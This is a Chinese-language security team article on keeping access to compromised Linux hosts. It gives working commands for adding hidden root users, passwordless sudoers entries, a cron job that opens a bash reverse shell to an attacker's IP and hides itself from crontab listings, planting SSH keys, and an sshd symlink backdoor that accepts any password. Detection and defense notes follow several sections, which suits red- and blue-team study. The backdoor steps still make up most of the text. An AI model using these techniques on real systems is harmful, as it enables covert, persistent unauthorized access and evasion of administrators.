【红蓝对抗】linux权限维持
2023-2-8 00:2:53 Author: 白帽子(查看原文) 阅读量:131 收藏

前言

      在渗透过程中拿到目标权限只是开始,通常会留下后门以便再次访问(简称APT)。所以需要进行权限维持,隐藏后门。常见的Linux后门有cron后门、ssh后门、vim后门、隐藏文件、添加超级用户、alias后门等等,本文将对Linux下常见的权限维持后门技术进行解析。

添加uid=0的用户

  1. 创建用户,并修改/etc/passwd文件

useradd tide;echo 'tide:123456' | chpasswd    # 创建用户tide并修改密码为123456
vi /etc/passwd           # 修改passwd文件,将tide用户的uid改为0

改动前:

改动后:

攻击端:

ssh [email protected]被控端ip -p 端口

  1. 使用useradd -p方法,通过 ` ` 存放可执行的系统命令添加uid=0的用户;

useradd -p `openssl passwd -1 -salt 'salt' 123456` chiyu -o -u 0 -g root -G root -s /bin/bash -d         /home/chiyu

添加普通用户

1.useradd -p `openssl passwd -1 -salt 'salt' 123456` chiyu

#使用useradd -p方法,通过 ` ` 存放可执行的系统命令;

#创建一个用户名为chiyu,密码为123456的普通用户;

攻击端使用chiyu连接(以下就不一一示范了)

#使用useradd -p方法,通过 "$()" 存放可执行的系统命令添加用户;

2.useradd -p "$(openssl passwd -1 123456)" chiyu

#chpasswd方法添加用户;

3.useradd chiyu;echo 'chiyu:123456'|chpasswd

#echo -e方法添加用户;

4.useradd chiyu;echo -e "123456\n123456\n" |passwd chiyu

检测:

awk -F: '$3==0{print $1}' /etc/passwd

# 查询特权用户(uid=0的用户)

awk '/\$1|\$6/{print $1}' /etc/shadow

# 查询可以远程登录的账户信息

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

# 查询除root账户外,其他存在sudo权限的账户(如非管理需要,普通账号应删除sudo权限)

原理

     /etc/sudoers文件是sudo的配置文件,是管理员集中的管理用户的使用权限和使用的主机。当用户执行sudo命令时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限,若确认用户具有可执行sudo的权限后,让用户输入密码在进行确认,但是root用户执行sudo时不需要输入密码,所以可利用此文件进行配置允许特定用户在不用输入root密码的情况下使用所有命令。

实例

被控端:

  1. 新建用户

  1. 修改文件:

使用vim /etc/sudoers  修改,或者用visudo进行编辑此文件,visudo命令可在退出时,自动检测语法错误。

增加一条内容,如下图:

# 此行的含义:普通用户kali可以通过sudo这个命令,免密码以任何用户的身份执行任何命令,kali是要提权的普通用户。第一个ALL,这个规则对所有的host生效,等号右边括号的root(也可以换成ALL),是指kali可以执行root用户权限的命令,第三个ALL是可以执行所有命令。

攻击端:

ssh [email protected]被控端ip -p 端口

原理

     crontab命令用于定期执行某些设定好的任务,crond命令每分钟都会定期检查是否有要执行的任务,如果有便会自动执行该任务。若创建新的cron任务,并不会马上执行,一般过2分钟后才能够执行,或者可以重启cron马上执行。

    crontab -l命令用于查看定时任务,实际是查看/var/spool/cron/crontabs/root文件(每个用户都会生成一个与自己同名的crontab文件位于/var/spool/cron/crontabs/中),而通过建立隐藏后门的文件,再执行crontab -l或者直接使用cat命令去查看crontabs目录的文件,就无法看见真正执行的定时任务。

实例

被控端:

1.crontab -l     # 查看定时任务
2.植入crontab隐藏后门需要的文件first.sh,vim first.sh,文件内容如下:#! /bin/bashbash -I >& /dev/tcp/攻击端ip/监听端口 0>&1(反弹shell到攻击端)
3.建立cron隐藏后门second.sh文件,vim second.sh,文件内容如下:(crontab -l;printf "*/1 * * * * /root/first.sh;\rno crontab for `whoami`%100c\n")|crontab -

4.更改文件权限chmod 777 first.shchmod 777 second.sh攻击端:nc -l 监听端口     # 开启监听被控端:crontab -l       # 查看定时任务./second.sh     # 执行隐藏后门文件,一分钟后攻击端监听的1234端口就会接收到shell

攻击端监听:

检测

被控端:

这种后门方式,无法直接使用cat命令查看cron文件,可以使用cat -A参数查看,或者通过vim命令,vim /var/spool/cron/crontabs/root发现定时任务,如下图:

cat /var/spool/cron/crontabs/root

或者crontab -e ,查看真实的计划任务

执行crontab -r命令删除crontab文件,但需要注意的是,当前使用的是什么用户执行完该命令就会删除对应账号的crontab文件,并且普通用户一般没有权限访问/var/spool/cron。

防御

1.在/etc/cron.allow中设置,采用白名单,只允许某个账号使用crontab命令;
2.cron每分钟都会读取一次/etc/crontab与/var/spool/cron文件内容,所以要时常注意这些文件;

探究:

(crontab -l;printf "*/1 * * * * /root/first.sh;\rno crontab for `whoami`%100c\n")|crontab -
*/1 * * * *:每隔1分钟执行一次;/r:cat默认支持 \r 回车符 \n 换行符 \f 换页符这些符号,会导致显示截断隐藏命令,隐藏真实的计划任务;%100c:格式化输出一个字符,前面99个空格补齐。使用空格帮助我们把前面的内容在 crontab 中遮盖掉;如果想让创建的文件隐蔽性更强,可以创建名为".."、“...”或以..等开头的

ssh公钥免密登录

效果

在攻击端生成密钥对,将公钥复制到被控端~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录被控端。

实例

攻击端:

ssh -keygen -b 4096 -t rsa       # 创建密钥对,生成id_rsa和id_rsa.pub文件

被控端:

mkdir ~/.ssh    # 创建.ssh文件夹

攻击端:

ssh-copy-id -p 端口 [email protected]被控端ip     # 将攻击端的公钥发送给被控端

攻击端ssh无密码登录

检测防御

删除~/.ssh/authorized_keys即可。

ssh软链接

效果

对sshd建立软链接,可使用任意密码登录。

命令

被控端:

ln -sf /usr/sbin/sshd /路径名/su;/路径名/su -oport=端口号

命令解释:

ln参数 源文件 目标文件

-s:创建软链接;

-f:链接时先将与目标文件同名的文件删除;

攻击端

ssh 用户名@目标主机IP -p 端口号

原理

sshd服务启用PAM认证机制(在/etc/ssh/sshd_config文件中,设置UsePAM为yes),如果不启用PAM,系统会严格验证用户密码,就无法使用sshd软链接后门。

实例

被控端:

ln –sf /usr/sbin/sshd /usr/local/su;/usr/local/su –pport=6666

攻击端:

ssh [email protected]目标主机ip -p 6666  

之后随便输入密码即可连接

若root用户被禁止远程登录,可直接使用其他普通用户登录,密码任写。

优点

root被禁止登录,可以用其他用户登录。

缺点

隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

探究:

  1. 不建立软链接,直接启动/usr/sbin/sshd是否可以任意密码登录?

被控端:/usr/sbin/sshd –oPort=1212

攻击端:ssh [email protected] –p 1212

连接失败,因为默认使用/etc/pam.d/sshd的PAM配置文件,所以不能建立任意密码登录的后门。

  1. 不允许PAM认证,对后门是否有影响?

被控端:将/etc/ssh/sshd_config文件中UsePAM的值改为no。

ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=2222

连接失败,因为默认使用/etc/pam.d/sshd的PAM配置文件,所以不能建立任意密码登录的后门。

  1. 软链接的路径、文件名是否对后门有影响?

(1)改变链接的路径:

被控端:ln –sf /usr/sbin/sshd /tmp/su;/tmp/su –oPort=1234

连接成功,说明软链接的路径与后门功能无关联;

(2)改变链接的文件名:

被控端:ln –sf /usr/sbin/sshd /usr/local/tmp; /usr/local/tmp –oPort=2345

连接失败,说明软链接的文件名会影响后门功能。

     如果直接启动/usr/sbin/sshd,系统默认会使用/etc/pam.d/sshd目录中的PAM的配置文件,而通过建立软链接的方式,PAM认证实际上是通过软链接定义的文件名(如/usr/local/su),在/etc/pam.d目录中去寻找对应的PAM配置文件(如/etc/pam.d/su)。

     任意密码登录的核心是suth sufficient pam_rootok.so配置,除了su文件可成功利用,/etc/pam.d目录中只要PAM配置文件中包含此项配置,就可以SSH任意密码登录(比如我的系统除了su还有chfn、chsh、runuser)。

find /etc/pam.d | xargs grep “pam_rootok.so”,查看包含此项配置的文件。

或者不用系统原有的PAM配置文件,可以自己写一个。

被控端:

echo “auth sufficient pam_rootok.so” >> /etc/pam.d/chiyu
cat /etc/pam.d/chiyu
ln –sf /usr/sbin/sshd /usr/local/chiyu;/usr/local/chiyu –oPort=9999

检测防御:

  1. 查看/etc/pam.d目录中有哪些文件包含auth sufficient pam_rootok.so配置;

find /etc/pam.d | xargs grep “pam_rootok.so”
  1. 找到这些文件的异常端口和进程,杀死可疑进程;

netstat –anplt | grep –E “su | chfn | chsh | runuser ”
ps –aux | grep PID号
kill -9 PID号
  1. 找到创建的软链接文件进行删除;

ls -il
rm -rf 文件名

4. 关闭PAM认证;

https://blog.csdn.net/weixin_39682897/article/details/116863255

https://www.jianshu.com/p/59d1f1803421?utm_campaign=haruki

https://cloud.tencent.com/developer/article/1683265?from=information.detail.%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%95%99%E9%9A%90%E8%94%BD%E5%90%8E%E9%97%A8

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246505&idx=2&sn=7f44a07d91135ca8d74d46275266c864&chksm=82ea56c0b59ddfd6f73e58c815f2f1f83450287d23e411a2f789a2fa1af0464453b9b6230c50#rd
如有侵权请联系:admin#unsafe.sh